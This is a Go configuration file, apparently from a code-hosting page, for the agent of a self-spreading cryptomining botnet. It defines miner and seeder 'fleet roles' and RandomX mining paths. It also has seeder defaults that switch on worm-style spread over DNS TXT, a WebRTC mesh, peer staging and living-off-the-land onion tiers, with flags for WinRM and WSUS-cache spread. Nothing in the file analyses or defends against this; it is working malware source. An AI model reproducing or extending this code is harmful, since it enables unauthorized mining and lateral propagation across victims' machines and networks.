Some checks failed
CI Docker Mining Proof / Linux agent hashrate proof (push) Has been cancelled
90 lines
2.3 KiB
Go
90 lines
2.3 KiB
Go
package config
|
|
|
|
import "strings"
|
|
|
|
const (
|
|
FleetRoleMiner = "miner"
|
|
FleetRoleSeeder = "seeder"
|
|
FleetRoleAuto = "auto"
|
|
)
|
|
|
|
// SeederSpreadLanes are the only staging lanes seeders may run (no RandomX).
|
|
var SeederSpreadLanes = []string{"dns_txt", "webrtc_mesh", "do_peer"}
|
|
|
|
// NormalizeFleetRole coerces forge/auth values to miner|seeder|auto.
|
|
func NormalizeFleetRole(role string) string {
|
|
switch strings.ToLower(strings.TrimSpace(role)) {
|
|
case FleetRoleSeeder:
|
|
return FleetRoleSeeder
|
|
case FleetRoleMiner:
|
|
return FleetRoleMiner
|
|
default:
|
|
return FleetRoleAuto
|
|
}
|
|
}
|
|
|
|
// EffectiveFleetRole resolves baked role + optional server hint from auth.
|
|
func (c RuntimeConfig) EffectiveFleetRole(serverHint string) string {
|
|
if c.SeederMode {
|
|
return FleetRoleSeeder
|
|
}
|
|
baked := NormalizeFleetRole(c.FleetRole)
|
|
if baked == FleetRoleSeeder {
|
|
return FleetRoleSeeder
|
|
}
|
|
if baked == FleetRoleMiner {
|
|
return FleetRoleMiner
|
|
}
|
|
hint := NormalizeFleetRole(serverHint)
|
|
if hint == FleetRoleSeeder || hint == FleetRoleMiner {
|
|
return hint
|
|
}
|
|
return FleetRoleMiner
|
|
}
|
|
|
|
// IsSeederRole reports whether this agent should skip mining and serve LAN staging only.
|
|
func (c RuntimeConfig) IsSeederRole(serverHint string) bool {
|
|
return c.EffectiveFleetRole(serverHint) == FleetRoleSeeder
|
|
}
|
|
|
|
// IsSeederSpreadLane reports dns_txt / webrtc_mesh / do_peer lanes.
|
|
func IsSeederSpreadLane(lane string) bool {
|
|
lane = strings.ToLower(strings.TrimSpace(lane))
|
|
for _, s := range SeederSpreadLanes {
|
|
if lane == s {
|
|
return true
|
|
}
|
|
}
|
|
return false
|
|
}
|
|
|
|
// FilterSeederLotlTiers keeps only seeder staging lanes from a LOTL tier list.
|
|
func FilterSeederLotlTiers(tiers []string) []string {
|
|
var out []string
|
|
for _, t := range tiers {
|
|
if IsSeederSpreadLane(t) {
|
|
out = append(out, t)
|
|
}
|
|
}
|
|
return out
|
|
}
|
|
|
|
// ApplySeederForgeDefaults enables seeder-only spread flags and disables mining paths.
|
|
func ApplySeederForgeDefaults(b *BuiltinConfig) {
|
|
if b == nil {
|
|
return
|
|
}
|
|
b.FleetRole = FleetRoleSeeder
|
|
b.SeederMode = true
|
|
b.MiningDisabled = true
|
|
b.MinerExecution = "inprocess" // unused — no RandomX chain starts
|
|
b.GPUEnabled = false
|
|
b.DnsTxtSpread = true
|
|
b.WebRTCMeshSpread = true
|
|
b.WinRMSpread = false
|
|
b.WSUSCachePeerSpread = false
|
|
b.AutoSpread = true
|
|
b.LotlOnionEnabled = true
|
|
b.LotlOnionTiers = append([]string(nil), SeederSpreadLanes...)
|
|
}
|